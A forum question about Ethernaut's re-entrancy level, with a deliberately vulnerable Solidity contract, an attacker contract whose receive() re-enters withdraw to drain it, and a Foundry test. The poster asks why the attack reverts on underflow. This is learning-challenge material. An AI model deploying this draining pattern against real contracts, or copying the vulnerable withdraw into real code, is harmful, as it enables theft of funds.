What the Heck am i Doing Wrong? Openzeppelin Ethernaut Re-entrancy #10

[justAWanderKid]

it's Just an Simple Reentrancy Vulnerablity Exploitation, but it seems like there's something im doing wrong.

Link to the Openzeppelin Ethernaut 10-Re-entrancy: https://ethernaut.openzeppelin.com/level/10

Now First of all, i made couple of Changes to the original Reentrance Contract that imports SafeMath and uses 0.6.0 solidity version.

• removed the SafeMath import
• set solidity version to 0.8.26

here's the changes i made to Reentrance Contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

contract Reentrance {
    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    receive() external payable {}
}

and this is the attacker contract:

contract ReentrancyAttacker {

    Reentrance reentrance;
    address private owner;

    constructor(Reentrance _reentrance) {
        reentrance = _reentrance;
        owner = msg.sender;
    }

    modifier onlyOwner {
        if (msg.sender != owner) {
            revert("You're Not the Owner!");
        }
        _;
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "send atleast 1 ETH");
        reentrance.donate{value: 1 ether }(address(this));
        uint256 _amount = reentrance.balanceOf(address(this));
        reentrance.withdraw(_amount);
    }

    function withdraw() external onlyOwner {
        uint256 contractBalance = address(this).balance;
        payable(owner).transfer(contractBalance);
    }

    function _stealMoney() internal {
        uint256 _amount = reentrance.balanceOf(address(this));
        if (address(reentrance).balance >= _amount) {
            reentrance.withdraw(_amount);
        } 
    }

    receive() external payable {
        _stealMoney();
    }

}

and this is the test i wrote for it:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;


import {Reentrance} from "../src/Reentrancy.sol";
import {DeployReentrancy} from "../script/DeployReentrancy.s.sol";
import {Test, console} from "forge-std/Test.sol";

contract ReentranceTest is Test {

    Reentrance reentrance;
    DeployReentrancy deployer;

    function setUp() external {
        deployer = new DeployReentrancy();
        reentrance = deployer.run();
    }

    function testReentrancyAttack() external {
        vm.deal(address(reentrance), 10 ether);
        ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(reentrance);

        uint256  reentranceContractBalanceBeforetheAttack = address(reentrance).balance;
        uint256  reentrancyAttackerContractBalanceBeforetheAttack = address(reentrancyAttacker).balance;

        console.log("Reentrance Contract Balance Before the Attack: ", reentranceContractBalanceBeforetheAttack);
        console.log("Attacker Contract Balance Before the Attack: ", reentrancyAttackerContractBalanceBeforetheAttack);

        reentrancyAttacker.attack{value: 1 ether}();

        console.log("Reentrance Contract Balance After the Attack: ", address(reentrance).balance);
        console.log("Attacker Contract Balance After the Attack: ", address(reentrancyAttacker).balance);

        assertEq(address(reentrancyAttacker).balance, reentranceContractBalanceBeforetheAttack + 1 ether);
        assertEq(address(reentrance).balance, reentrancyAttackerContractBalanceBeforetheAttack);
    }


}

what the heck am i doing wrong that the transaction gets reverted for overflow/underflow?